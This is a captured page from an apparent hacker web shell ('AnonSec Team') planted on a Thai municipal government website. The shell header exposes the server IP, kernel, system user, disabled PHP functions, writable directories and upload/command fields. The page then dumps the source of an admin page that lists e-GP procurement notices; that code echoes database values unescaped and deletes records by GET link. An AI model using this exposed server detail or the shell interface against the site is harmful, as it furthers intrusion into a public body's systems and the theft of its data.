NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.128.190.205
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/admin/data_egp.php
<?php  
    require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){

            $sql_cdata = " SELECT COUNT(*) FROM `data_egp` ";
            $qr_cdata = mysqli_query($con_db_administrator, $sql_cdata) or trigger_error("SQL", E_USER_ERROR);
            $rs_cdata = mysqli_fetch_row($qr_cdata);
            $numrows = $rs_cdata[0];
            $rowsperpage = 10;
            $totalpages = ceil($numrows / $rowsperpage);
            if (isset($_GET['currentpage']) && is_numeric($_GET['currentpage'])) {
                $currentpage = (int) $_GET['currentpage'];
            } else {
                $currentpage = 1;
            }
            if ($currentpage > $totalpages) {
                $currentpage = $totalpages;
            }
            if ($currentpage < 1) {
                $currentpage = 1;
            }
            $offset = ($currentpage - 1) * $rowsperpage;
            
            $sql_data = " SELECT * ,CONCAT( DAY(`datetime_egp`) ,'/',  MONTH(`datetime_egp`) ,'/', YEAR(`datetime_egp`)+543 ) AS 'cv_date_egp' FROM `data_egp` ORDER BY `data_egp`.`datetime_egp` DESC LIMIT $offset, $rowsperpage ";
            $qr_data = mysqli_query($con_db_administrator,$sql_data) or die( mysqli_error($con_db_administrator));
    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="backend-administrator" class="link-info">หน้าหลัก</a> / ประกาศจัดซื้อจัดจ้างจากระบบ e-GP</div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto ">
                    <span class="fs-36 fw-700 lh-sm">ประกาศจัดซื้อจัดจ้างจากระบบ e-GP</span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-2 mb-4">
                <div class="col-md-3 p-2">
                    <button type="button" class="btn btn-secondary w-100 h-100 lh-base pt-3 pb-3" onClick="javascript:window.location.replace('action/request_egp');"><i class="fas fa-cloud-download-alt mb-2" style="font-size:35px"></i><br>อัพเดทข้อมูลประกาศ<br>จัดซื้อจัดจ้างจากระบบ e-GP</button>
                </div>
                <div class="col-md-9 p-2 fw-500 fs-14">
                    <span class="fw-700 fs-16">หมายเหตุการอัพเดทข้อมูล</span>
                    <div class="mt-2">
                        <span>1. การอัพเดตข้อมูลนั้น คือการนำข้อมูลประกาศจัดซื้อจัดจ้างจากระบบ e-GP มาเก็บในฐานข้อมูลเว็บไซต์</span>
                        <br><span>2. ควรอัพเดทข้อมูลทุกวัน เพราะทางระบบ ข้อมูลประกาศต่างๆ จะแสดงเฉพาะ 20 รายการล่าสุดต่อวันที่มีการประกาศในระบบ e-GP กรณีที่ประกาศ ในวันนั้นๆ ไม่ถึง 20 รายการ ระบบจะแสดงรายการย้อนหลังให้ 7 วันจนครบ 20 รายการ</span>
                        <br><span>3. ระบบ e-GP เปิดให้เชื่อมโยงดึงข้อมูล ทุกวัน ช่วงเวลา 12.01 - 12.59 น. และ 17.01 - 08.59 น. หากระบบล่มจะดึงข้อมูลไม่สำเร็จ ให้เข้ามาดึงข้อมูลใหม่อีกครั้ง</span> 
                    </div>
                </div>
            </div>
            <hr class="hr-das">
            <div class="row mt-4 mb-4">
                <div class="col">
                    <span class="fw-700 fs-20"><i class="fas fa-database"></i> ข้อมูลประกาศจัดซื้อจัดจ้างจากระบบ e-GP ในฐานข้อมูลเว็บไซต์</span>
                    <div class="w-100 overflow-x-auto mt-2">
                        <table class="table table-bordered table-striped table-hover mb-2 tball-mw">
                            <thead >
                                <tr class="text-center">
                                    <th style="width:9%">วันเวลา</th>
                                    <th style="width:30%">ประเภท</th>
                                    <th style="width:58%">หัวข้อเอกสาร</th>
                                    <th style="width:3%">ลบ</th>
                                </tr>
                            </thead>
                            <tbody class="table-group-divider fs-16">
                                <?php
                                    while($rs_data = mysqli_fetch_array($qr_data)){
                                        $date_egp = $rs_data["cv_date_egp"];
                                        switch($rs_data["alias_egp"]){
                                            case 'P0': $type_egp='แผนการจัดซื้อจัดจ้าง'; break;
                                            case '15': $type_egp='ประกาศราคากลาง'; break;
                                            case 'B0': $type_egp='ร่างเอกสารประกวดราคา ( e-Bidding) และร่างเอกสารซื้อหรือจ้างด้วยวิธีสอบราคา'; break;
                                            case 'D0': $type_egp='ประกาศเชิญชวน'; break;
                                            case 'W0': $type_egp='ประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก'; break;
                                            case 'D1': $type_egp='ยกเลิกประกาศเชิญชวน'; break;
                                            case 'W1': $type_egp='ยกเลิกประกาศชื่อผู้ชนะการเสนอราคา/ประกาศผู้ได้รับการคัดเลือก'; break;
                                            case 'D2': $type_egp='เปลี่ยนแปลงประกาศเชิญชวน'; break;
                                            case 'W2': $type_egp='เปลี่ยนแปลงประกาศรายชื่อผู้ชนะการเสนอราคา'; break;
                                            default: $type_egp=$rs_data["alias_egp"]; break;
                                        }
                                ?>
                                    <tr>
                                        <td class="text-center"><?php echo $date_egp;?></td>
                                        <td class="text-center fs-14"><?php echo $type_egp;?></td>
                                        <th style="background-color:#fffbe6;"><a href="<?php echo $rs_data["detail_egp"];?>" target="_blank"><?php echo $rs_data["title_egp"];?></a></th>
                                        <td class="text-center fs-18" >
                                            <a href="action/del-egp?id=<?php echo $rs_data["id_egp"]; ?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูล e-GP นี้ ใช่หรือไม่??');" ><i class="fas fa-trash-alt" ></i></a> 
                                        </td>
                                    </tr>
                                <?php } ?>
                                <?php 
                                    if($numrows=="0"){ echo '<tr><td colspan="7"><div class="w-100 text-center mt-5 mb-5 text-secondary opacity-50 fs-20" ><i class="fas fa-eye-slash"></i> ไม่พบข้อมูล</div></td></tr>';}
                                ?>

                            </tbody>                            
                        </table>
                    </div>
                    <!------------- NUMBER PAGE ------------->
                    <div class="mt-2 fs-12 w-100 text-secondary clearfix">
                        <div class="float-start lh-sm">
                            แสดงข้อมูลตั้งแต่ 1 ถึง 10 <br class="showTab">จากข้อมูลทั้งหมด <span class="text-primary"><?php echo $numrows; ?></span> ข้อมูล
                        </div>
                        <div class="float-end">
                            <div aria-label="Page navigation example">
                                <ul class="pagination pagination-sm justify-content-end">
                                    <?php

                                    $range = 5;
                                    if ($currentpage > 1) {
                                        echo " <li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=1' aria-label='Previous'>
                                                    <i class='fas fa-angle-double-left'></i>
                                                </a>
                                                </li>";
                                        $prevpage = $currentpage - 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$prevpage' aria-label='Previous'>
                                                <i class='fas fa-angle-left'></i>
                                                </a>
                                            </li>";
                                    } 

                                    for ($x = ($currentpage - $range); $x < (($currentpage + $range) + 1); $x++) {
                                        if (($x > 0) && ($x <= $totalpages)) {
                                            if ($x == $currentpage) {

                                            echo "<li class='page-item active' aria-current='page'>
                                                        <a class='page-link text-bg-secondary' href='#'>$x <span class='sr-only'>(current)</span></a>
                                                    </li> ";

                                            } else {
                                            echo " <li class='page-item'><a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$x'>$x</a></li>";
                                            }
                                        }
                                    }

                                    if ($currentpage != $totalpages) {
                                        $nextpage = $currentpage + 1;
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$nextpage' aria-label='Next'>
                                                <i class='fas fa-angle-right'></i>
                                                </a>
                                            </li>";
                                        echo "<li class='page-item'>
                                                <a class='page-link text-black-50' href='{$_SERVER['PHP_SELF']}?currentpage=$totalpages' aria-label='Next'>
                                                <i class='fas fa-angle-double-right'></i>
                                                </a>
                                            </li>";
                                    } 
                                    ?>

                                    </ul>
                            </div>       
                        </div>
                    </div>
                    <!--------------------------------------->

                </div>
            </div>

            <?php  include_once ("footer.php"); ?>
            <script>
                const tooltipTriggerList = document.querySelectorAll('[data-bs-toggle="tooltip"]')
                const tooltipList = [...tooltipTriggerList].map(tooltipTriggerEl => new bootstrap.Tooltip(tooltipTriggerEl))
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team